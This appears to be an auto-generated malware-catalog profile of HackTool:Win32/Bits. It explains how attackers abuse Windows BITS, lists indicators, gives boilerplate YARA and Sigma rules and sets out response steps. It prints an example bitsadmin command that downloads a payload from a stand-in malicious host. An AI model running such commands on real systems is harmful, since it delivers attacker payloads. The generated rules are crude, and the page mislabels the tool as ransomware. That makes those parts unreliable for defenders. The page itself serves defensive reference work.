Bits

Overview

HackTool:Win32/Bits refers to the detection of malware severely abusing the legitimate Windows Background Intelligent Transfer Service (BITS) (`T1197`). BITS is a Windows component designed to download files in the background using idle network bandwidth (it's how Windows Updates are delivered). Attackers 'Live off the Land' by hijacking this service to download payloads or exfiltrate data completely under the radar.

Understanding BITS Abuse (Living off the Land)
To an end-user, there is no visible impact. For a SOC analyst, BITS abuse is a nightmare scenario. Because BITS traffic is handled by the legitimate `svchost.exe` process, it easily bypasses application-based firewalls that block unknown executables from reaching the internet. Furthermore, BITS jobs are persistent; if the machine reboots, or the network drops, Windows will automatically resume the malicious download when the connection returns.

Execution and Evasion Mechanics
Attackers typically use PowerShell or the command-line utility `bitsadmin.exe` to create a new, hidden transfer job. For example: `bitsadmin /transfer myjob /download /priority high http://malicious.com/payload.exe C:\temp\payload.exe`. Some advanced variants even use BITS to exfiltrate data by setting the BITS job to upload local files to an external web server (`T1041`). Because the network traffic originates from a trusted Microsoft binary, it blends in perfectly with normal OS telemetry.

Indicators of Compromise & Impact
The impact is the stealthy delivery of secondary payloads (like ransomware) or the exfiltration of data. Host-based IoCs include EDR alerts for the execution of `bitsadmin.exe` with suspicious arguments (`/transfer`, `/download`, `/upload`), or PowerShell scripts interacting with the `Start-BitsTransfer` cmdlet. You can also view active BITS jobs using the `bitsadmin /list /allusers` command. Network IoCs involve analyzing `svchost.exe` traffic to non-Microsoft, low-reputation domains.

MITRE ATT&CK Techniques

Observed techniques used by this family, mapped to the MITRE ATT&CK framework:

Generated Detections (Boilerplate)

These YARA and Sigma rules are auto-generated based on the family name and aliases. They must be heavily tuned before deployment in a production environment.

YARA Rule

rule MALWARE_WIN_BITS {
    meta:
        description = "Detects Bits (ransomware)"
        author = "SystemHelpdesk Boilerplate Generator"
        date = "2026-07-06"
    strings:
        $s1 = "bits" ascii wide nocase
    condition:
        uint16(0) == 0x5a4d and any of them
}

Sigma Rule

title: Suspicious Bits Activity
id: cc411e6c13670e52124629b8ac83f7d0
status: experimental
description: Detects generic indicators of the bits malware family.
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
        CommandLine|contains:
            - "*bits*"
    condition: selection
level: medium

Containment & Response Steps

Ordered checklist for responders. Adapt to your environment and engage professional support for active incidents.

1. Use `bitsadmin /list /allusers` to identify the malicious transfer job and immediately cancel it using `bitsadmin /cancel <JobName>`.
2. Analyze the job details to determine the source URL (where the payload was coming from) or the destination URL (where data was being sent).
3. Identify the file that was successfully downloaded by the BITS job and isolate it.
4. Investigate the initial vector that executed the `bitsadmin` command (e.g., an Office macro or a PowerShell script).

What to Avoid

Common mistakes during response to this family that can destroy evidence, spread the infection, or worsen recovery.

1. Do not assume network traffic from `svchost.exe` is inherently safe; it is frequently abused by BITS jobs.
2. Avoid just deleting the downloaded payload; you must cancel the actual BITS job, or Windows will redownload it.

References & External Analysis

• Search "bits" on VirusTotal (External Analysis)

Frequently Asked Questions

Related Families (Category: ransomware)

Explore other malware families in the same category:

• Jumpta
• Multiminer
• Hostwack
• Neos
• Feedarch

Machine-readable

Get this profile as JSON: https://jordan123234-malware-families-explorer.static.hf.space/api/bits.json

Ecosystem & Interactive Environments

This profile is part of the Malware Families Catalog, a public dataset of 2,899 malware families. The catalog is also published across our ecosystem: Hugging Face, Kaggle, Zenodo, Replit, StackBlitz, CodeSandbox, and CodePen.